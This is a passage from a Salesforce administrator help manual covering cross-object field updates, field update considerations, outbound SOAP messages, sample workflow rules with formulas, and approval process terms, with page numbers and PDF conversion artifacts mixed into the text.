For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships. For example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master object) to Closed when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from Awaiting Customer Response to In Progress when a customer adds a case comment. Note: The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup > Critical Updates to see if your organization requires any updates.

Custom Object to Custom Object You can use cross-object field updates for all custom objects that are children of custom objects in a master-detail relationship. Custom Object to Standard Object You can use cross-object field updates for custom objects that are children of certain standard objects in a master-detail relationship. The standard objects which support cross-object field updates from custom objects are: Account Asset Campaign Case Contact Contract Contract Line Item Entitlement Opportunity Order Question

1891

Create

Managing Field Updates

Quote Service Contract Solution

Standard Object to Standard Object You can use cross-object field updates for standard objects that are children of standard objects in a master-detail relationship. However, only a few standard-to-standard relationships are supported: Case Comments updating Case Email updating Case Tip: To create workflow rules so that case comments or emails automatically update fields on associated cases, select Case Comment or Email Message in the Object drop-down list when creating a new workflow rule and select Case in the Field to Update list. Email-to-Case or On-Demand Email-to-Case must be enabled for your organization to use the Email Message in a workflow rule. Opportunity Product updating Opportunity Note: Cross-object field updates to a parent opportunity's Amount and Quantity fields only work if the opportunity has no opportunity products associated with it. Opportunity updating AccountSupported for both business accounts and person accounts. Note: If you have workflow rules on converted leads and want to use cross-object field updates on the resulting accounts and opportunities, you must enable the lead setting Enable Validation and Triggers from Lead Convert. When configuring standard-to-standard cross-object field updates, consider that: Standard-to-standard cross-object field update actions cant be used in, or assigned to, approval processes. A standard-to-standard cross-object field update can still update a parent record even if the user doesnt have edit access to it. Note: If you have Apex code in place thats updating parent fields in the same relationships supported by cross-object field updates, consider leveraging the functionality of the standard cross-object field updates and then removing your Apex code. Otherwise, both will fire, and since workflow rules run after Apex triggers, the workflow field update will override any change made by your Apex code.

See Also:
Defining Field Updates Managing Field Updates Field Update Considerations Overview of Relationships Case Comments Overview What is a Person Account?

1892

Create

Managing Field Updates

Field Update Considerations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approval Processes, Opportunities, and Contracts are not available in Database.com

User Permissions Needed To define, edit, or delete field updates: Customize Application

When creating field updates for workflow rules or approval processes, consider the following: Field Update Processing Field updates occur before email alerts, tasks, and outbound messages. Field updates occur after case assignment, lead assignment, auto-response, and case escalation rules. Field updates function independently of field-level security. Therefore, a workflow rule can update fields even though they are hidden on the user's page layout. The result of a field update is unpredictable when a single workflow rule includes multiple field updates that apply different values to the same field. Field updates may affect the information in a related list. For example, if a field such as the Amount or Close Date of an opportunity is set to be updated, it will affect the Stage History related list on opportunities. If a user gets a field update error when saving a record, you can use the debug log to see which field update failed. The debug log stops when a failure occurs. For reminder fields on tasks and events: Field updates can set the reminder for a task or event but they can't use the due date of a task or the scheduled time of an event. Formulas for date/time values are calculated in days. Divide the value by 1440the number of minutes in a dayto express the value in minutes. For example, the formula Now()-7 means seven days ago, while Now()-7/1440 means seven minutes ago. If your organization uses multiple currencies, currency fields are updated using the record's currency. If you choose to update a field based on a formula, any values in your formula are interpreted in the currency of the record. Field updates are tracked in the History related list if you have set history tracking on those fields. Because updates to records based on workflow rules don't trigger validation rules, workflow rules can invalidate previously valid fields. If you have person accounts enabled, you can use the Is Person Account field as part of the evaluation criteria for workflow rules. However, because the Is Person Account field is read-only, any field updates set up to modify it will fail. Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

1893

Create

Managing Field Updates

Notes on Cross-Object Field Updates For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships. For more information, see Understanding Cross-Object Field Updates on page 1891. The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup > Critical Updates to see if your organization requires any updates. Field update actions that update fields on related objects are supported only for use with workflow rules. Approval processes can't use cross-object field update actions. An approval process can specify a field update action that re-evaluates workflow rules for the updated object. If, however, the re-evaluated workflow rules include a cross-object field update, those cross-object field updates will be ignored. To prevent this, ensure that in the approval actions you deselect Re-evaluate Workflow Rules After Field Change for field updates.

Field Updates and Custom Fields Before changing a custom field's type, make sure that it isn't the target of a workflow field update or referenced in a field update formula that would be invalidated by the new type. You can't delete a custom field that is referenced by a field update. You can use field updates on encrypted custom fields, but if you try to use a formula to set the new value, the encrypted field isn't available in the formula editor.

Field Updates on Opportunities and Contracts You can define field updates for the Stage field on opportunities, but be aware of how this field affects the Type and Forecast Category fields. See Picklists with Additional Information on page 1080 for information on the relationship between these fields. You can define field updates using the Amount field on opportunities but it will only apply to those opportunities that don't have products. Adding products to an opportunity changes the Amount field to a read-only field that is automatically calculated and not affected by that field update. You can define field updates for the Status field on contracts. However, the value of this field may affect the value of the Status Category field as well. Note: The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval process, Salesforce recommends creating a custom status field. Avoid creating a field update for contracts or orders that changes the Status field to any value other than Approved.

Field Update Limitations The results of a field update can't trigger additional rules such as validation, assignment, auto-response, or escalation rules. The results of a field update can trigger additional workflow rules if you have flagged the field update to do so. For more information, see Field Updates That Re-evaluate Workflow Rules on page 1890. Read-only fields like formula or auto-number fields aren't available for field updates. The Language picklist field on multilingual solutions isn't available for field updates. Email message workflow rules can only be associated with field updates. If a field update references a specific user, you can't deactivate that user. For example, if your field update is designed to change the owner of a record to Bob Smith, change the field update before deactivating Bob Smith. Some fields, such as Related To and Private fields on activities, aren't available for field updates. You can update long text area fields, but the option to insert A specific value restricts you to entering up to 255 characters.

1894

Create

Managing Outbound Messages

You can't make a field universally required if it's used by a field update that sets the field to a blank value. For details, see About Universally Required Fields on page 1223. Workflow rules that update owners do not also transfer associated items. To ensure transfer, click Change next to the owners name in a record and make your transfer selections.

See Also:
Defining Field Updates Managing Field Updates Understanding Cross-Object Field Updates Custom Field Types What is a Person Account?

Managing Outbound Messages


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To view, define, edit, or delete outbound messages: Customize Application AND Manage Translation AND Manage Territories (if territories are enabled)

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. To get started using outbound messages, click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages. Click New Outbound Message to define a new outbound message. Click View Message Delivery Status to track the status of an outbound message. Select an existing outbound message to view its details or to see if any workflow rules and approval processes use it. Click Edit to make changes to an existing outbound message. Click Del to delete an outbound message. Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com to enable outbound messages. When working with outbound messages, note the following:

1895

Create

Managing Outbound Messages

A single SOAP message can include up to 100 notifications. Each notification contains an ID that uniquely identifies a record, and a reference to the data in the record. Therefore, if the information in the record changes after the notification is sent, but before the notification is delivered, only the updated information is delivered. Messages are queued until they are sent, to preserve message reliability. If the endpoint is unavailable, messages will stay in the queue until sent successfully or until they are 24 hours old. After 24 hours, messages are dropped from the queue. If a message can't be delivered, the interval between retries increases exponentially, up to a maximum of two hours between retries. Messages are retried independent of their order in the queue. This may result in messages being delivered out of order. You can't build an audit trail using outbound messages. While each message should be delivered at least once, it may be delivered more than once. Also, it may not be delivered at all if delivery cannot be done within 24 hours. Finally, as noted above, the source object may change after a notification is sent but before it is delivered, so the endpoint will only receive the latest data, not any intermediate changes. Encrypted custom fields aren't available in outbound messages. You can create workflow rules and approval processes on junction objects; but you can't create outbound messages on junction objects.

See Also:
Defining Outbound Messages Tracking Outbound Message Delivery Status Workflow and Approvals Overview Managing Workflow Rules Web Services API Developer's Guide Metadata API Developer's Guide

1896

Create

Managing Outbound Messages

Defining Outbound Messages


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To define, edit, or delete outbound messages: Customize Application AND Manage Translation AND Manage Territories (if territories are enabled)

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. When you associate an outbound message with a workflow rule, approval process, or entitlement process, the outbound message sends the selected information to the associated endpoint URL when the workflow rule or approval process is triggered. Once the endpoint URL receives the message, it can take the information from the message and process it, assuming that the Web service has been configured appropriately. For security reasons, Salesforce restricts the outbound ports you may specify to one of the following: 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 102466535 (inclusive): These ports accept HTTP or HTTPS connections.

To define outbound messages: 1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages. For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement Processes, choose an entitlement process, a milestone, and click Add Workflow Action. 2. Click New Outbound Message. Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com to enable outbound messages. 3. Choose the object that has the information you want included in the outbound message, and click Next. Tip: To create workflow rules for case comments so that comments added to cases send outbound messages when a rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule. 4. Configure the outbound message.

1897

Create

Managing Outbound Messages

a. Enter a name for this outbound message. b. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected object type. You can have actions of the same type with the same unique name, provided they are defined for different objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. c. Enter a description. d. Enter an endpoint URL for the recipient of the message. Salesforce sends a SOAP message to this endpoint. e. Select the Salesforce user to use when sending the message. The chosen user controls data visibility for the message that is sent to the endpoint. f. Check the Protected Component check box to mark the outbound message as protected. For more information, see the Force.com Quick Reference for Developing Packages. g. Select Send Session ID if you want the Salesforce session ID included in the outbound message. Include the session ID in your message if you intend to make API calls and you don't want to include a username and password. Never send a username and password in an unencrypted message, especially in a production environment. It isnt secure. h. Select Add failures to failed outbound message related list if you want this message to move to the failed outbound messages related list after all retries have been attempted. If you don't see this option, failed outbound message notifications aren't enabled for your organization. Contact your salesforce.com representative. i. Select the fields to include in the outbound message and click Add. 5. Click Save, and review the outbound message detail page: The API Version field is automatically generated and set to the current API version when the outbound message was created. This API version is used in API calls back to Salesforce using the enterprise or partner WSDLs. The API Version can only be modified by using the Metadata API. Click the Click for WSDL link to view the WSDL associated with this message. The WSDL is bound to the outbound message and contains the instructions about how to reach the endpoint service and what data is sent to it. 6. If your endpoint uses a client certificate: a. b. c. d. Go to Your Name > Setup > Develop > API. Click Generate Client Certificate. Save the certificate to the appropriate location. Import the downloaded certificate into your application server and configure your application server to request the client certificate.

7. To put outbound messages into action, associate them with a workflow rule, approval process, or entitlement process.

See Also:
Custom Field Types Tracking Outbound Message Delivery Status Managing Outbound Messages Workflow and Approvals Overview Entitlement Management Overview Web Services API Developer's Guide

1898

Create

Managing Outbound Messages

Selecting Existing Actions


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To select existing actions: Customize Application

Workflow actions created for a workflow rule or approval process can be associated with other workflow rules and approval processes. To associate existing workflow actions with a workflow rule: 1. 2. 3. 4. Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules. Select the workflow rule. Click Edit in the Workflow Actions section. Click Add Workflow Action in either the Immediate Workflow Actions or Time-Dependent Actions section, depending on when you want the action to occur, and choose Select Existing Action. See Configuring Workflow Actions on page 1872. Select the type of action to associate with the workflow rule. The Available Actions box lists all existing actions of that type. Enter the name of a specific action in the text field and click Find. Select the actions in the Available Actions box and use the right arrow to move them to the Selected Actions box. If necessary, select the left arrow to remove actions from the Available Actions box. Click Save.

5. 6. 7. 8.

To associate existing workflow actions with an approval process: 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. 2. Click the name of an approval process. 3. Depending on when you want the action to occur, do one of the following: Click Add Existing in the Initial Submission Actions, Final Approval Actions, Final Rejection Actions, or Recall Actions section. Click Show Actions in the Approval Steps section, then click Add Existing in the Approval, Rejection, or Recall Actions section.

See Selecting Approval Actions on page 1946. 4. Select the type of action you want to associate with the approval process. The Available Actions box lists all existing actions of the selected type. 5. Enter the name of a specific action in the text field and click Find. 6. Select the actions in the Available Actions box that you want to associate with the approval process, and use the right arrow to move the actions to the Selected Actions box. If necessary, select the left arrow to remove actions from the Available Actions box.

1899

Create

Managing Outbound Messages

7. Click Save.

See Also:
Managing Workflow Rules Creating Workflow Rules Managing Workflow Actions

Examples of Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or change workflow rules, email alerts, tasks, field updates, and outbound messages: Customize Application

Use the following workflow rule examples to learn how you can implement common business objectives. Business Processes Follow Up when Platinum Contract Case Closes Assign Credit Check for New Customer Notify Account Owner About New, High-Priority Cases Update Shipment Status if Shipment is Delayed Cross-Object Processes Notify Sales VP About Cases Filed for Top Accounts Set Default Opportunity Name Set Target Resolution Date for Cases Update Application Record when Candidate Accepts Job Deal Management Track Closed Opportunities Override Default Opportunity Close Date Report Lost Opportunities Report Unassigned Leads Notifications Notify Key People About Account Owner Changes Set Reminder for Contact Birthday

1900

Create

Managing Outbound Messages

Set Reminder for High-Value Opportunity Close Date Notify Account Owner of Updates by Others

See Also:
Workflow and Approvals Overview Managing Workflow Actions Creating Workflow Rules Time-Dependent Action and Time Trigger Considerations Managing Email Alerts Managing Tasks for Workflow and Approvals Managing Field Updates

Business Processes
Follow Up when Platinum Contract Case Closes This example assumes there is a Contract Type custom picklist used to identify the contract level on cases, and that the picklist contains the value Platinum. Object Description Case Send a feedback request in email to the case contact seven days after a high-priority case is closed if the customer has a platinum contract agreement.

Evaluate the rule when a created, and any time its edited to subsequently meet criteria record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
(Case: Priority equals High) and (Case: Closed equals True) and (Case: Contract Type equals Platinum)

Immediate Actions Time-Dependent Actions

None 7 Days After Case: Date/Time ClosedEmail Alert: Send a feedback request to the case contact.

Assign Credit Check for New Customer This example assumes there is a New Customer custom field on opportunities. Object Description Opportunity Assign the Accounts Receivable (AR) department a task to check the credit of a potential customer 15 days before the opportunity close date if the amount is greater than $50,000.

Evaluate the rule when a created, and any time its edited to subsequently meet criteria record is:

1901

Create

Managing Outbound Messages

Rule Criteria (Filter)

Run this rule if the following criteria are met:


(Opportunity: Amount greater than 50000) and (Opportunity: Closed equals False) and (Opportunity: New Customer equals True)

Immediate Actions Time-Dependent Actions

None 15 Days Before Opportunity: Close DateTask: Create a task for users in the Accounts Receivable role to run a credit check.

Notify Account Owner About New, High-Priority Cases This example assumes there is a Service Level Agreement custom picklist called SLA that identifies the agreement level on accounts and contains the value Platinum. Object Description Case Notify the account owner when a high-priority case is created for accounts with a platinum service level agreement.

Evaluate the rule when a created record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
(Case: Priority equals High) and (Account: SLA equals Platinum)

Immediate Actions Time-Dependent Actions

Email Alert: Email the details of the high-priority case to the account owner.

None.

Update Shipment Status if Shipment is Delayed Object Description Shipment Update the Shipment Status field to Delayed if a shipment has exceeded the expected delivery date and not reached the customer.

Evaluate the rule when a created, and any time its edited to subsequently meet criteria record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
(Shipment: Status not equal to Delivered)

Immediate Actions Time-Dependent Actions

None. 1 day after Shipment: Expected Delivery DateField Update: Change Shipment Status field to Delayed on Shipment record.

1902

Create

Managing Outbound Messages

Cross-Object Processes
Notify Sales VP About Cases Filed for Top Accounts Use the following workflow rule if your sales VP wants to know about any cases filed for top accounts, where top accounts are determined by size and revenue. Object Description Case Notify Sales VP about any cases filed for top accounts.

Evaluate the rule when a created record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
AND(Account.AnnualRevenue > 500000, Account.NumberOfEmployees > 5000)

Immediate Actions Time-Dependent Actions

Email Alert: Notify VP about cases for big accounts.

None.

Set Default Opportunity Name The opportunity naming convention for some companies is Account Name: Opportunity Name. To automate the default name of each opportunity in your organization, create the following workflow rule. Object Description Opportunity Enforce opportunity naming convention.

Evaluate the rule when a created, and every time its edited record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
NOT(CONTAINS( Name, Account.Name ))

Immediate Actions

Field Update: Set opportunity name to the following formula:


Account.Name & ": " & Name

Time-Dependent Actions

None.

Set Target Resolution Date for Cases This example illustrates how to automatically set a case resolution date based on the value of a field on the associated account. It uses a custom picklist field on accounts called Support Level, which has three valuesBasic, Standard, and Premiumas well as a custom date field on cases called Target Resolution Date.

1903

Create

Managing Outbound Messages

Use the following three workflow rule examples to automatically set the target resolution date of a case based on the support level for the related account. Set Resolution Date for Basic Support Object Description Case Sets the case target resolution date for accounts that have basic support level to 30 days from today.

Evaluate the rule when a created record is: Rule Criteria (Filter) Run this rule if the following formula evaluates to true:
ISPICKVAL(Account.Support_Level__c , "Basic")

Immediate Actions Time-Dependent Actions

Field Update: Set the Target Resolution Date to Today() + 30

None.

Set Resolution Date for Standard Support Object Description Case Sets the case target resolution date for accounts that have standard support level to 14 days from today.

Evaluate the rule when a created record is: Rule Criteria (Filter) Run this rule if the following formula evaluates to true:
ISPICKVAL(Account.Support_Level__c , "Standard")

Immediate Actions Time-Dependent Actions

Field Update: Set the Target Resolution Date to Today() + 14

None.

Set Resolution Date for Premium Support Object Description Case Sets the case target resolution date for accounts that have premium support level to 5 days from today.

Evaluate the rule when a created record is: Rule Criteria (Filter) Run this rule if the following formula evaluates to true:
ISPICKVAL(Account.Support_Level__c , "Premium")

1904

Create

Managing Outbound Messages

Immediate Actions Time-Dependent Actions

Field Update: Set the Target Resolution Date to Today() + 5

None.

Update Application Record when Candidate Accepts Job Use the following workflow rule if you want to close the Application record when a Candidate accepts a job. Cross-object field updates to the master record are supported between custom objects in a master-detail relationship. Object Description Candidate Changes the Application Status to Closed for the custom Application object when the Candidate Status for the custom Candidate object changes to Accepted.

Evaluate the rule when a created, and any time its edited to subsequently meet criteria record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
(Candidate: Status equals Accepted)

Immediate Actions Time-Dependent Actions

Field Update: Change Application Status field to Closed on parent Application record.

None.

Deal Management
Track Closed Opportunities This example assumes there is a Closed Opportunities record type that provides additional information to certain profiles. Note: For information on record types, see Managing Record Types on page 1300.

Object Description

Opportunity Change the record type of closed-won opportunities.

Evaluate the rule when a created, and every time its edited record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
(Opportunity: Closed equals True) and (Opportunity: Stage equals Closed Won)

Immediate Actions

Field Update: Set the record type to Closed Opportunities.

1905

Create

Managing Outbound Messages

Time-Dependent Actions

None.

Override Default Opportunity Close Date Object Description Opportunity Override the default close date from the close of the quarter to six months after the opportunity is created.

Evaluate the rule when a created record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
(Opportunity: Closed equals False)

Immediate Actions

Field Update: Use the following formula to set the opportunity close date to six months after

the creation date:


DATE( YEAR(TODAY()) , (MONTH(TODAY()) + 6), DAY(TODAY()))

Time-Dependent Actions

None.

Report Lost Opportunities Object Description Opportunity Notify the VP of Sales when a deal is lost if the stage was Proposal/Price Quote and the amount was greater than $1,000,000.

Evaluate the rule when a created, and every time its edited record is: Rule Criteria (Filter) Run this rule if the following formula evaluates to true:
AND( ISCHANGED(StageName), ISPICKVAL(PRIORVALUE(StageName) , "Proposal/Price Quote"), ISPICKVAL(StageName,"Closed Lost"), (Amount >1000000))

Immediate Actions Time-Dependent Actions

Email Alert: Notify the VP of Sales role that the deal was lost.

None.

Report Unassigned Leads This example assumes that all unassigned leads are placed in an unassigned leads queue by a leads assignment rule. Object Lead

1906

Create

Managing Outbound Messages

Description

Ensure that unassigned leads are tracked in a timely manner by notifying the manager if a lead is not accepted in two days.

Evaluate the rule when a created, and any time its edited to subsequently meet criteria record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
Lead Owner equals Unassigned Lead Queue

Immediate Actions Time-Dependent Actions

None. 2 Days After Lead: Last Modified DateEmail Alert: Notify the manager role that there are unassigned leads in the queue that are older than two days.

Send Alert if Quote Line Item Discount Exceeds 40% Object Description Quote Line Item Ensure that an email alert is sent if a sales rep applies a quote line item discount that exceeds 40%.

Evaluate the rule when a created, and any time its edited to subsequently meet criteria record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
Quote Line Item: Discount is greater than 40

Immediate Actions Time-Dependent Actions

Email Alert: Notify the manager role that the quote line item discount exceeds 40%.

None.

Notifications
Notify Key People About Account Owner Changes Object Description Account Notify key people in the sales department when the owner of an account changes if the account's annual revenue is greater than $1,000,000.

Evaluate the rule when a created, and every time its edited record is: Rule Criteria (Filter) Run this rule if the following formula evaluates to true:
AND( ISCHANGED(OwnerId), AnnualRevenue > 1000000 )

Immediate Actions

Email Alert: Notify the person in the sales operations role of the change in account ownership.

1907

Create

Managing Outbound Messages

Time-Dependent Actions

None.

Set Reminder for Contact Birthday This example assumes there is a Next Birthday custom formula field that uses the following formula to calculate the date of the contact's next birthday on contact records:
IF(MONTH(Birthdate) > MONTH(TODAY()),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)), IF(MONTH(Birthdate) < MONTH(TODAY()),DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)), IF(DAY(Birthdate) >= (DAY(TODAY())),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)), DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)))))

Object Description

Contact Send an email to the contact two days before the contact's birthday.

Evaluate the rule when a created record is: Rule Criteria (Filter) Run this rule if the following formula evaluates to true:
(Contact: Birthdate not equal to null) and (Contact: Email not equal to null)

Immediate Actions Time-Dependent Actions

None. 2 Days Before Contact: Next BirthdayEmail Alert: Send a birthday greeting to the contact's email address.

Set Reminder for High-Value Opportunity Close Date Object Description Opportunity Remind the opportunity owner and senior management when the close date is approaching for a large deal, an opportunity that has an amount greater than $10,000. Also, create a follow-up task for the opportunity owner if the deal is still open when the close date passes.

Evaluate the rule when a created, and any time its edited to subsequently meet criteria record is: Rule Criteria (Filter) Run this rule if the following criteria are met:
(Opportunity: Amount greater than 100000) and (Opportunity: Closed equals False)

Immediate Actions Time-Dependent Actions

None. 30 Days Before Opportunity: Close DateEmail Alert: Notify the opportunity owner that 30 days remain. 15 Days Before Opportunity: Close DateEmail Alert: Notify the opportunity owner that 15 days remain.

1908

Create

Outbound Message Notifications

5 Days After Opportunity: Close DateTask: Create a follow-up task for the opportunity owner to update the deal. Email Alert: Notify senior management to involve executives.

Notify Account Owner of Updates by Others Object Description Account Notify the account owner when someone else updates the account if the account's annual revenue is greater than $1,000,000.

Evaluate the rule when a created, and every time its edited record is: Rule Criteria (Filter) Run this rule if the following formula evaluates to true:
AND( (LastModifiedById <> CreatedById), (AnnualRevenue > 1000000) )

Immediate Actions Time-Dependent Actions

Email Alert: Notify the account owner that someone else has updated the account.

None.

Outbound Message Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To view or edit outbound message notification settings: Customize Application

You can request that up to five users receive a notification listing all outbound messages that have failed for at least 24 hours. A fresh notification is sent every 24 hours until you cancel the request. Failed messages are deleted from the failed outbound messages related list after seven days. Before they are removed, you can delete them yourself or request that they be retried again. To view the current outbound message notification requests, click Your Name > Setup > Monitoring > Outbound Message Notifications. You can perform several tasks here: Edit a notification. Delete a notification. Since you can only create five, you may need to delete one before you can create more. Create a new notification request.

1909

Create

Outbound Message Notifications

Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com to enable outbound messages.

Creating and Editing Outbound Message Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To view or edit outbound message notification settings: Modify All Data

You can request that up to five users receive a notification listing all outbound messages that have failed for at least 24 hours. A fresh notification is sent every 24 hours until you cancel the request. To create a notification request: 1. 2. 3. 4. Click Your Name > Setup > Monitoring > Outbound Message Notifications. Click New. Enter a full username, or click the icon to select it from a list of usernames. Click Save to save the request, or Save & New to save this request and create a new one. Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com to enable outbound messages.

Viewing Outbound Message Notification Requests


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view or edit outbound message notification settings: Modify All Data

You can request that up to five users receive a notification listing all outbound messages that have failed for at least 24 hours. A fresh notification is sent every 24 hours until you cancel the request. This page is displayed when you have saved a new notification request. You can: Click Edit to change the username for a notification request. This is simpler than deleting the request and then creating a new one.

1910

Create

Workflow Terminology

Click Delete to delete the notification request. Click Clone to create a new notification request with the same username.

Workflow Terminology
Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals, Tasks, and Email Alerts are not available in Database.com

Workflow Rule A workflow rule sets workflow actions into motion when its designated conditions are met. You can configure workflow actions to execute immediately when a record meets the conditions in your workflow rule, or set time triggers that execute the workflow actions on a specific day. If a workflow action hasnt executed yet, you can view and modify it in the Workflow Queue on page 947. See Managing Workflow Rules on page 1867 to get started using workflow rules. For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits on page 2182. Workflow Action A workflow action is an email alert, field update, outbound message, or task that fires when the conditions of a workflow rule are met. Email Alert Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval process and sent to designated recipients, either Salesforce users or others. Workflow alerts can be sent to any user or contact, as long as they have a valid email address. To get started using email alerts, see Managing Email Alerts on page 1881. Field Update Field updates are workflow and approval actions that specify the field you want updated and the new value for it. Depending on the type of field, you can choose to apply a specific value, make the value blank, or calculate a value based on a formula you create. To get started using field updates, see Managing Field Updates on page 1887. Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Tasks are workflow and approval actions that are triggered by workflow rules or approval processes. To get started using tasks, see Managing Tasks for Workflow and Approvals. Outbound Message An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. To get started using outbound messages, see Managing Outbound Messages on page 1895. Flow A flow starts out as a process or decision diagram created in the Flow Designer. Once uploaded and run in Salesforce, it becomes an application for navigating users through a series of screens. To get started using flows, see Visual Workflow Overview on page 1971.

1911

Create

Approval Processes Overview

Approval Processes Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use approvals: Various user permissions required depending on the action.

Your business runs more efficiently with automated processes. For example, you may already have workflow rules that automatically send email alerts or assign tasks based on your internal processes. Approvals take automation one step further, allowing you to specify a sequence of steps that are required to approve a record. An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. For example, your organization may have a two-step process for approving expenses: submitted expenses that are less than $50 are automatically approved, those over $50 must be approved by a manager, and those over $5,000 must also be approved by a Vice President. In this example, your approval process would specify the following: If an expense record is submitted for approval, lock the record so that users cannot edit it and change the status to Submitted. If the amount is $50 or less, automatically approve the request. If the amount is greater than $50, send an approval request to the direct manager. If the amount is greater than $5,000 and the first approval request is approved, send an approval request to the Vice President. If all approval requests are approved, change the status to Approved and unlock the record. If any approval requests are rejected, change the status to Rejected and unlock the record.

An approval process includes the following elements: A name and description to distinguish it from other approval processes. Entry criteria if you only want records with certain attributes to be included. A designated user who can approve requests. Settings to specify who, if anyone, can change a record once it has been submitted for approval. Any number of steps that determine the sequence of actions to take when a record matches the criteria. Each step can have up to 40 actions, 10 of each type: email alerts, field updates, tasks, and outbound messages. Up to 40 additional actions that occur when a record is initially submitted. Up to 40 additional actions that occur when a record is approved. Up to 40 additional actions that occur when a record is rejected. Up to 40 additional actions that occur when a record is recalled.

1912

Create

Approval Processes Overview

To begin designing your approval processes, see Getting Started with Approval Processes on page 1915.

See Also:
Creating Approval Processes Approval Process Terminology Examples of Approval Processes

Approval Process Terminology


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use approvals: Various user permissions required depending on the action

The following terminology is used for approval processes in Salesforce: Approval Actions An approval action is an action that occurs as a result of an approval process. There are four types of approval actions: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

Approval steps, initial submission, final approvals, final rejections, and recalls can execute approval actions. Both approval process and workflow rules share actions. Approval Process An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. For more information, see Approval Processes Overview on page 1912.

1913

Create

Approval Processes Overview

Approval Request An approval request is an email or a Chatter post notifying the recipient that a record was submitted for approval and that his or her approval is requested. Approval Steps Approval steps assign approval requests to various users and define the chain of approval for a particular approval process. Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow you to specify what happens if an approver rejects the request. Assigned Approver The assigned approver is the user responsible for approving an approval request. Delegated Approver A delegated approver is a user appointed by an assigned approver as an alternate for approval requests. Delegated approvers can't reassign approval requests; they can only approve or reject approval requests. Email Approval Response The email approval response feature gives users the ability to approve or reject email approval requests by replying to the email. Approvers must have the API Enabled system permission to approve or reject approval requests via email. The first line of the email body may contain one of the following words: approve approved yes reject rejected no

